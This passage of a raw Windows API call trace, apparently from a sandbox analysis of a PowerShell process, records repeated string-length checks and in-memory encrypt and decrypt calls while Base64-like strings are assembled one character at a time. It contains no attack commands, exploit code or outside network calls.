(param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄証贪몶O獱斺੽놳") returned 0x18 [0243.546] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄証贪몶O獱斺੽놳") returned 0x18 [0243.546] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.546] SysStringLen (param_1="RE/964NvNHpwHzbeSu6蠖돜祗婷㕒") returned 0x18 [0243.546] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.546] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄溴薩佽ᣥ鹆僓䊣\xfdd9") returned 0x18 [0243.546] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄溴薩佽ᣥ鹆僓䊣\xfdd9") returned 0x18 [0243.546] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.546] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u돜祗婷㕒") returned 0x18 [0243.546] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.546] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄\䋝墽뷌ࠫ䀪쁧Ꝗ⋸) returned 0x18 [0243.546] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄\䋝墽뷌ࠫ䀪쁧Ꝗ⋸) returned 0x18 [0243.546] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.547] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8祗婷㕒") returned 0x18 [0243.547] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.547] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄뢵ꁅর歳ⲅ죭繀꧂") returned 0x18 [0243.547] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄뢵ꁅর歳ⲅ죭繀꧂") returned 0x18 [0243.547] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.547] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M婷㕒") returned 0x18 [0243.547] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.547] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄㳴뜍瘧സ홨骳棺\⋟) returned 0x18 [0243.547] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄㳴뜍瘧സ홨骳棺\⋟) returned 0x18 [0243.547] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.547] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M1㕒") returned 0x18 [0243.547] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.548] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄﨑籘솲䌨溊㲍䝄䳽") returned 0x18 [0243.548] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄﨑籘솲䌨溊㲍䝄䳽") returned 0x18 [0243.548] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.548] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19") returned 0x18 [0243.548] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0243.548] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾") returned 0x18 [0243.548] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾") returned 0x18 [0243.548] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾") returned 0x18 [0243.549] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾") returned 0x20 [0243.549] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.549] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19J袛癈닱ꣲ\헞鴤∴) returned 0x20 [0243.549] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.549] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾⍉䦃隿饱꾙€싔") returned 0x20 [0243.549] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾⍉䦃隿饱꾙€싔") returned 0x20 [0243.549] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.549] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ癈닱ꣲ\헞鴤∴) returned 0x20 [0243.549] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.549] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾Ⴓ頋據ﲝ贕껬椂") returned 0x20 [0243.549] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾Ⴓ頋據ﲝ贕껬椂") returned 0x20 [0243.549] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.550] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+닱ꣲ\헞鴤∴) returned 0x20 [0243.550] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.550] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾栗쁦뾻雑븥ℓ\㻚⊛) returned 0x20 [0243.550] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾栗쁦뾻雑븥ℓ\㻚⊛) returned 0x20 [0243.550] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.550] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+2ꣲ\헞鴤∴) returned 0x20 [0243.550] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.550] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾鯞洃댇寺ۏĵ鮉") returned 0x20 [0243.550] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾鯞洃댇寺ۏĵ鮉") returned 0x20 [0243.550] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.550] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29\헞鴤∴) returned 0x20 [0243.550] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.551] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾庀⯕哼ꗘ狍䡦ෛ带") returned 0x20 [0243.551] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾庀⯕哼ꗘ狍䡦ෛ带") returned 0x20 [0243.551] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.551] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bⓕ㒝") returned 0x20 [0243.551] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.551] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾㥉⡨̍꥽䙟⥕嶝") returned 0x20 [0243.551] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾㥉⡨̍꥽䙟⥕嶝") returned 0x20 [0243.551] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.551] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bD㒝") returned 0x20 [0243.551] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.551] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾홟ꩽυ慂怽๮ㆷ᳠") returned 0x20 [0243.551] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾홟ꩽυ慂怽๮ㆷ᳠") returned 0x20 [0243.551] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.552] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDs") returned 0x20 [0243.552] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.552] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ") returned 0x20 [0243.552] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ") returned 0x20 [0243.552] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ") returned 0x20 [0243.553] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ૛") returned 0x28 [0243.553] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.553] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsI뿝阆Ὲ䱅䖦ⓕ꜊") returned 0x28 [0243.553] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.553] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ磓칝ꌞď蓊旟") returned 0x28 [0243.553] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ磓칝ꌞď蓊旟") returned 0x28 [0243.553] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.553] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIY阆Ὲ䱅䖦ⓕ꜊") returned 0x28 [0243.553] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.553] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ퓷됃Ӊ蠄Ḕ쟾") returned 0x28 [0243.553] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ퓷됃Ӊ蠄Ḕ쟾") returned 0x28 [0243.553] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.554] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYVῈ䱅䖦ⓕ꜊") returned 0x28 [0243.554] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.554] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ뺩辙ƈ쀰꿣绝") returned 0x28 [0243.554] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ뺩辙ƈ쀰꿣绝") returned 0x28 [0243.554] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.554] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7䱅䖦ⓕ꜊") returned 0x28 [0243.554] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.554] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ荴\ᣜ募힭ᙪ\\鋜∛) returned 0x28 [0243.554] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ荴\ᣜ募힭ᙪ\\鋜∛) returned 0x28 [0243.554] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.554] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7p䖦ⓕ꜊") returned 0x28 [0243.554] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.554] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀﲟ珨畹෭鸔⒚䯥戄") returned 0x28 [0243.554] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀﲟ珨畹෭鸔⒚䯥戄") returned 0x28 [0243.555] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.555] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7pFⓕ꜊") returned 0x28 [0243.555] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.555] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ鋕쨢瓼껹ㆎᘻ䜥Ē") returned 0x28 [0243.555] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ鋕쨢瓼껹ㆎᘻ䜥Ē") returned 0x28 [0243.555] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.555] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7pFp꜊") returned 0x28 [0243.555] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.555] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ尿휀퓚沐츹᝛⾤") returned 0x28 [0243.555] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ尿휀퓚沐츹᝛⾤") returned 0x28 [0243.555] SystemFunction041 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.555] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7pFp8") returned 0x28 [0243.555] SystemFunction040 (in: Memory=0x5c9b394, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b394) returned 0x0 [0243.556] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘") returned 0x28 [0243.556] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘") returned 0x28 [0243.556] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘") returned 0x28 [0243.556] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘") returned 0x30 [0243.556] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0243.556] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7pFp83릩矶ꝲ⾖鍘⻹") returned 0x30 [0243.556] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0243.557] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘㫼횙䡆臑듎멭뵪렓") returned 0x30 [0243.557] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘㫼횙䡆臑듎멭뵪렓") returned 0x30 [0243.557] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0243.557] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7pFp83n矶ꝲ⾖鍘⻹") returned 0x30 [0243.557] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0243.557] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘襑準㝲杈ࢰ뙱諪") returned 0x30 [0243.557] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘襑準㝲杈ࢰ뙱諪") returned 0x30 [0243.557] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0243.557] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7pFp83n0ꝲ⾖鍘⻹") returned 0x30 [0243.557] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0243.557] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘陵೪霐忩雳؀ᆆ⛤") returned 0x30 [0243.557] SysStringLen (param_1="硋ỳ豩羻ᦻᬪ릡燎瓢㋘㠳켨⤄嬾뀎ġ࠿⌝棝垦簾ഃ९鶶㺉芓ǀ脼\x9fᶼꑹ┧钘陵೪霐忩雳؀ᆆ⛤") returned 0x30 [0243.557] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0243.558] SysStringLen (param_1="RE/964NvNHpwHzbeSu6u8M19JJ+29bDsIYV7pFp83n0=⾖鍘⻹") returned 0x30 [0243.558] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0243.558] EtwEventActivityIdControl () returned 0x0 [0243.558] EtwEventActivityIdControl () returned 0x0 [0243.558] EtwEventActivityIdControl () returned 0x0 [0243.558] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.559] EtwEventActivityIdControl () returned 0x0 [0243.559] EtwEventActivityIdControl () returned 0x0 [0243.559] EtwEventActivityIdControl () returned 0x0 [0243.559] SysStringLen (param_1="") returned 0x8 [0243.559] SysStringLen (param_1="N") returned 0x8 [0243.560] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.560] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.560] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0243.560] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.560] SysStringLen (param_1="ND") returned 0x8 [0243.560] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.560] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.560] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0243.560] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.560] SysStringLen (param_1="NDZ") returned 0x8 [0243.560] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.560] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.561] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0243.561] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.561] SysStringLen (param_1="NDZl") returned 0x8 [0243.561] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.561] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.561] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0243.561] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.561] SysStringLen (param_1="NDZlO") returned 0x8 [0243.561] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.561] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.561] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0243.562] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.562] SysStringLen (param_1="NDZlOD") returned 0x8 [0243.562] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.562] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.562] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0243.562] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.562] SysStringLen (param_1="NDZlODR") returned 0x8 [0243.562] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.562] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.562] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0243.562] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.563] SysStringLen (param_1="NDZlODRm") returned 0x8 [0243.563] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0243.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0243.563] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0243.563] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.564] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.564] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0243.564] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.564] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0243.564] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.564] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0243.564] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.564] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0243.564] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.565] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0243.565] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0243.565] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0243.565] SystemFunction040 (in: 